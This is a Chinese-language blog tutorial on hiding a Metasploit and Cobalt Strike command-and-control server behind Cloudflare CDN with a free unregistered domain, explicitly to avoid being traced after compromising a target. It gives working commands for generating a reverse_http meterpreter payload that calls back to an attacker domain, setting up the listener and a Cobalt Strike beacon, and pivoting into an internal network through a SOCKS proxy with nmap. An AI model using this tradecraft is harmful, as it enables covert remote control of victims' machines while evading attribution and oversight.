在拿下了目标机之后,目标机在内网里面,使用用msf或者CS时,用VPS做服务器的话,会导致自己的VPS的IP泄露,很容易被溯源。
最快最稳的方式当然还是找跳板,当然我这种严格遵守网络安全法的好孩子是不可能有肉鸡做跳板的。
思来想去,查阅了一些资料后发现,域名上线走CDN是个不错的选择。
于是在研究了一段时间之后,写下了这篇文章。
需要的东西:一台国外的VPS 这里我推荐vultr (腾讯云和阿里云等国内的VPS是不支持免备案的)
说到域名上线,自然就不能老老实实的去用自己备案了的域名,不然又是一个当场逮捕。
到这里https://freenom.com/ 注册一个免费且不用备案的的tk域名
这里如果注册失败,检查一下是不是邮箱不对,因为它不支持一些邮箱如163,126邮箱等,可以用gmail注册。
到这里https://www.cloudflare.com/ 你可以搞到一个免费的CDN
为什么我多次强调免费呢?当然是因为贫穷、
注册完freenom和cloudflare的账号之后
在freenom的Nameservers里填上cloudflare所提示的配置信息如下
不要用freenom自带的域名解析,因为它自带的没上CDN ping一下域名就知道VPS ip了
在cloudflare里面配置一个A类的解析 就是vps的ip
然后域名配置的事就算完成了。
这个时候,我ping我域名,解析的ip是CDN的,从而隐藏了我的真实ip。
Cloudflare有个特点,如果用其他端口的话,是监听不到的
Cloudflare支持的HTTP端口是:
80,8080,8880,2052,2082,2086,2095
Cloudflare支持的HTTPs端口是:
443,2053,2083,2087,2096,8443
首先生成一个meterpreter
平时我们用的比较多的是reverse_tcp,在这里我们要用的是reverse_http
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=cs.XXXX.tk LPORT=2095 -f exe > shell.exe
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=cs.XXXX.tk LPORT=2095 -f exe > shell.exe
上传到靶机里面运行,VPS监听
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_http
set lhost cs.XXXX.tk
set LPORT 2095
run
如果在过程中遇到msfconsole关于allocate memory - infocmp,解决方案为
root@vultr:~# cd /var
root@vultr:/var# touch swap.img
root@vultr:/var# chmod 600 swap.img
root@vultr:/var# dd if=/dev/zero of=/var/swap.img bs=1024k count=1000
root@vultr:/var# mkswap /var/swap.img
root@vultr:/var# swapon /var/swap.img
这时不出意外我们应该得到了一个session,这时在执行一些操作的时候,靶机用wireshark抓包,看流量
看到的IP是来自CDN 104.24.117.1我们的VPS地址得到了有效的隐藏,如果想解决环境有恶意域名检测的话,
那么可以用域前置的方式来解决这个问题,这个已经有很多大佬写了这方面的文章,我这里就不一一描述了。
推荐阅读 https://xz.aliyun.com/t/4509
payload选 windows/beacon_http/reverse_http
主机填域名
端口填上面CF支持的任意http端口
生成木马,靶机运行木马,
执行一些操作,靶机抓包,查看流量。
CS里面也成功的隐藏了VPS的IP
后来我在想tcp和http的meterpreter会不会存在很多不一样的地方
会不会在内网渗透的时候代理失败
于是我开始做了一点简单的测试
环境
虚拟机 192.168.20.141
本机 10.11.2.225
路由器 10.11.2.128 存在一个web服务
公网vps
VPS监听来自虚拟机的meterpreter
来测试一下能否扫到路由器的web服务
run autoroute -s 10.11.2.0 -n 255.255.255.0 //添加一个路由
background
use auxiliary/scanner/http/title
set rhosts 10.11.2.0/24
run
速度上有点慢,但还是扫出了结果
[+] [10.11.2.128:80] [C:200] [R:] [S:EUHTϞП·ԉǷ] EUHTϞП·ԉǷ
尝试挂代理扫描
use auxiliary/server/socks4a
run
编辑/etc/proxychains.conf 最后一行加上
socks4 0.0.0.0 1080
通过代理用nmap来扫描内网的web服务
proxychains4 nmap -sT -Pn -p445,80 --open 10.11.2.0/24
[proxychains] Strict chain ... 0.0.0.0:1080 ... 10.11.2.128:80 ... OK
[proxychains] Strict chain ... 0.0.0.0:1080 ... 10.11.2.225:445 ... OK
Nmap scan report for 10.11.2.128
Host is up (6.9s latency).
Not shown: 1 closed port
PORT STATE SERVICE
80/tcp open http
Nmap scan report for 10.11.2.225
Host is up (8.5s latency).
Not shown: 1 closed port
PORT STATE SERVICE
445/tcp open microsoft-ds
成功的扫描到了我的物理机和路由器,
说明用域名上线走CDN的meterpreter,也是可以执行一些内网渗透方面的内容,当然,速度上感觉比tcp的慢了许多。
至于tcp和http不同方式上线,是否会导致某些msf模块无法使用,需要在后续的过程中慢慢摸索,我只发现了有很多模块http和tcp都无法通过代理的方式使用,如nmap的ping存活扫描,arp扫描等。
以上便是我最近在cs和msf域名上线上学习的一点心得体会,感谢各位师傅的阅读。